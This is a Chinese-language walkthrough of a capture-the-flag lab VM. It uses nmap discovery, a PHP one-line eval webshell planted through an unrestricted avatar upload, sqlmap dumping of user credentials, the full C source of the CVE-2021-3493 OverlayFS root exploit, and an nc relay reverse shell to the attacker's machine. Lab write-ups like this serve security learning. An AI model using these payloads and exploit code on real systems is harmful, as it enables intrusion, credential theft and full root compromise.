一、简介

目标:拿下root权限

1.1、打靶方法

  • 主机发现

  • 端口扫描

  • SQL注入

  • 文件上传

  • 蚁剑上传

  • EXP提权

1.2、说明

这个靶机有两个打靶方式,这篇文章记录的是直接利用exp。

二、主机发现

使用nmap进行找到目标靶机

sudo nmap -sn 10.0.2.0/24

image-20240121183855509

扫描靶机开放的端口

sudo nmap -p- 10.0.2.7

image-20240121184052217

查看开放端口的对应的服务

sudo nmap -p 22,80,8000 -sV 10.0.2.7

image-20240121184212893

发现靶机开放了 22 80 8000 端口,靶机操作系统是Ununtu,22为ssh,80 为web,8000 是基于python的基础http服务

三、目标访问

3.1、访问80端口

http://10.0.2.7/

发现是使用邮箱登录,弱口令登录失败 。

image-20240121184431887

随便注册一个账号,进入页面,查看里面是否存在可利用的漏洞

image-20240121184532234

3.2、访问8000端口

忘记截图了,文字说明一下,访问8000端口时发现无法访问成功,页面显示不支持使用get请求方式,使用burpsuite抓包后使用其他HTTP请求方式发现全都失败。

四、文件上传

存在用户头像上传点,没有做任何限制,利用这个漏洞,上传一句换木马,提前准备好一句话木马

<?php @eval($_POST["1"]);?>

image-20240121185001566

上传成功后找到,查看上传地址,使用蚁剑进行连接

image-20240121185511334

文件上传地址

http://10.0.2.7/data/images/posts/11.php

蚁剑连接

image-20240121185538299

五、SQL注入

5.1、说明

使用SQL注入获取到了管理员账号和密码,但是在这次打靶过程中并未利用到这个漏洞

5.2、查找注入点

进入网站发现上方有个搜索框,经过尝试发现注入’会进行报错,存在注入点

image-20240121185904134

5.3、BurpSuite 抓包

由于这个网站需要登录,所以在使用sqlmap时需要cookie,故抓包放入文档中,以供后续sqlmap使用。

image-20240121190556689

image-20240121190631155

5.4、使用sqlmap

sqlmap -r 1.txt -p query --dbs

-r 是读取

-p 指明注入点

–dbs 爆出数据库

–tables 爆出数据表

–columns 保存数据列

– dump查看具体信息

如果在sqlmap运行中不知道选择Y还是N,就全选Y,这样会保证能够正常运行,但同时可能会多跑一些无用的信息,建议看一下提示在选择

image-20240121191036552

sqlmap -r 1.txt -p query -D socialnetwork --tables

查看socialnetwork库中的数据表

image-20240121191224648

sqlmap -r 1.txt -p query -D socialnetwork -T users --columns

查看数据users表中对应的数据列

image-20240121191323388

sqlmap -r 1.txt -p query -D socialnetwork -T users -C user_email,user_password --dump

查看指定数据列的内容

image-20240121191730832

六、EXP执行

其实在这个靶机制作出来时这个exp还未被揭露出来,这个exp降低了靶机的难度,如果不利用这个exp,攻克这个靶机需要利用的PWN中的溢出。

利用刚才上线的一句话木马,调出靶机的命令窗口

image-20240121191917650

5.1、查看靶机的信息

lsb_release -a

image-20240121192121002

发现网上存在对应的exp。

5.2、EXP脚本

exp文档及下载:GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc

不想下载可以直接复制:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;

if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);

char buf[4096];
ssize_t rd, wr;

for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}

char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}

close(fi);
close(fo);
}

static int exploit()
{
char buf[4096];

sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);

xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);

uid_t uid = getuid();
gid_t gid = getgid();

if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");

xwritefile("/proc/self/setgroups", "deny");

sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);

sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);

sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);

// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);

return 0;
}

int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}

pid_t child = fork();
if (child == -1)
err(1, "fork");

if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}

execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}

将exp脚本上传的靶机中

image-20240121192455547

上传后对exp进行编译和授权以及利用,也可以在kali中编译好后直接直接上穿编译后的文件

gcc -o exp exploit.c
chmod +x exp
./exp

发现在蚁剑这个窗口中权限不够,exp无法直接执行。

image-20240121194232275

5.3、NC串联

靶机中的nc不支持-e参数,使用nc串联的方式,执行exp/

nc -nvlp 4444
nc -nvlp 5555
nc 10.0.2.4 4444 | /bin/bash | nc 10.0.2.4 5555

image-20240121194939174

监听成功后执行exp,查看用户权限

./exp

image-20240121195218787

发现是root权限,打靶完成

方法二:不利用这个exp,利用缓冲区溢出漏洞,PWN知识未开始接触不写了。。。。。。。